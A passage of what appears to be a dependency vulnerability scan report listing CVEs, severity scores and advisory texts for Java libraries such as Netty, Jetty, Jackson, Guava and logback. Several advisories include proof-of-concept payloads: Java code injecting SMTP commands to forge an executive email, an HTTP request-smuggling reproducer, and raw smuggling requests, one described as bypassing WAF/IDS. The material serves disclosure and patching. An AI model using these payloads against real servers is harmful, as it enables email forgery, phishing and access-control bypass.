CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.94.Final (maven) + +pkg:maven/io.netty/netty-handler@4.1.94.Final
+high 7.5: CVE--2025--24970 Improper Input Validation + + + + + + + + +
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
+ +
Description +
+ +### Impact +When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. + +### Workarounds +As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: + +``` +SslContext context = ...; +SslHandler handler = context.newHandler(....); +``` + +to: + +``` +SslContext context = ...; +SSLEngine engine = context.newEngine(....); +SslHandler handler = new SslHandler(engine, ....); +``` + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) + +pkg:maven/commons-beanutils/commons-beanutils@1.9.4
+high 8.8: CVE--2025--48734 Improper Access Control + + + + + + + + +
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
+ +
Description +
+ +Improper Access Control vulnerability in Apache Commons. + + + +A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. + + + + + +Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). +Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. + +This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils + + 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. + + +Users of the artifact org.apache.commons:commons-beanutils2 + + 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) + +pkg:maven/dnsjava/dnsjava@2.1.7
+high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity + + + + + + + + +
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. + +### Details + +DNS Messages are not authenticated. They do not guarantee that + +- received RRs are authentic +- not received RRs do not exist +- all or any received records in a response relate to the request + +Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. +To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) + +1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases +2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) +3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. +4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. + +Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. + +dnsjava does not implement a comparable algorithm, and the provided APIs instead return either + +- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or +- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) + +If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can + +- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or +- completely exchange the relevant response records + +### Impact + +DNS(SEC) libraries are usually used as part of a larger security framework. +Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. +Here are three concrete examples of where this might be detrimental: + +- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. +- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. +- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. + +### Mitigations + +At this point, the following mitigations are recommended: + +- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). +- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. +- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.96.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
+ +
Description +
+ +### Summary +The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors + +### Details +1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. +2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits + +### PoC + +Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder + + +Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 + +### Impact +Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
+medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+ +medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. + +So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. + +
+
+ +low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
+ +
Description +
+ +If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. + +```java +if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) +execCmd = "\"" + execCmd + "\""; +``` + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 ch.qos.logback/logback-core 1.2.13 (maven) + +pkg:maven/ch.qos.logback/logback-core@1.2.13
+medium 5.9: CVE--2025--11226 Improper Input Validation + + + + + + + + +
Affected range<1.3.16
Fixed version1.5.19
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. + +A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges. + +
+
+ +medium 5.9: CVE--2024--12798 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') + + + + + + + + +
Affected range<1.3.15
Fixed version1.3.15
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear
EPSS Score0.290%
EPSS Percentile52nd percentile
+ +
Description +
+ +ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. + +Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. + +A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. + +
+
+ +low 2.4: CVE--2024--12801 Server-Side Request Forgery (SSRF) + + + + + + + + +
Affected range<1.3.15
Fixed version1.3.15
CVSS Score2.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
EPSS Score0.048%
EPSS Percentile15th percentile
+ +
Description +
+ +Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. + +The attacks involves the modification of DOCTYPE declaration in  XML configuration files. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-common@4.1.96.Final
+medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
+ +
Description +
+ +### Summary +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + +### Details +A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv +This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. + + +### PoC +The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. +When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. + +### Impact +Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv + +
+
+ +medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
+ +
Description +
